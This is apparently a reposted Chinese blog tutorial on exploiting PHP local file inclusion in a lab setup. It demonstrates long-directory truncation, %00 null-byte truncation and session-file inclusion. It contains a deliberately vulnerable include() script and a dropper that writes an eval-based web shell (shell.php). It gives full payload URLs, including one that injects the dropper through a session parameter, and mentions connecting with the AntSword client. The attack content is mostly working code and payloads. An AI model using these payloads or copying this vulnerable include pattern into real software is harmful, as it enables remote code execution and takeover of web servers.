本文转自行云博客https://www.xy586.top/
文章目录
- 前期准备
- 长目录截断
- 原理
- payload
- %00截断
- 原理
- payload
- 基于session机制传马
- 条件:
- payload
- 总结
前期准备
file.php代码
<?php
$a = $_GET['a'];
include($a.'.html');
?>
hack.php代码
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');
?>
长目录截断
原理
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
正常访问
payload
使用.
绕过
http://192.168.232.128/file.php?a=hack.php.......................................................................................................................................................................................................................................................
成功生成木马文件
蚁剑连接
使用./
绕过
http://192.168.232.128/file.php?a=hack.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
PS:当这些符号被过滤时,我们可以尝试URL编码绕过。即当“.”和“./”被过滤时,我们可以尝试使用URL编码绕过“.”–>%2E,“/”–>%2F
%00截断
原理
php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取
条件:
magic_quotes_gpc=off
php<5.3.4
payload
http://192.168.232.128/file.php?a=hack.php%00
基于session机制传马
条件:
知道session的存储位置(或者通过phpinfo获取到存储位置)
session的值可控
存在本地文件包含漏洞
设置session的PHP文件
<?php
session_start();
$ctfs=$_GET['s'];
$_SESSION["username"]=$ctfs;
?>
payload
http://192.168.232.128/se.php?s=<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');?>
F12通过network找到cookie中的PHPSESSID
然后通过之前的file.php文件去包含session存放的文件
http://192.168.232.128/file.php?a=../tmp/tmp/sess_8e2fe1323579620d07c94cfd568be488%00
木马生成成功
总结
可能的绕过方式
- 双写绕过
- 使用绝对路径
- 对于Windows系统可以使用反斜杠 \
- 编码绕过
- 使用伪协议
- 等等…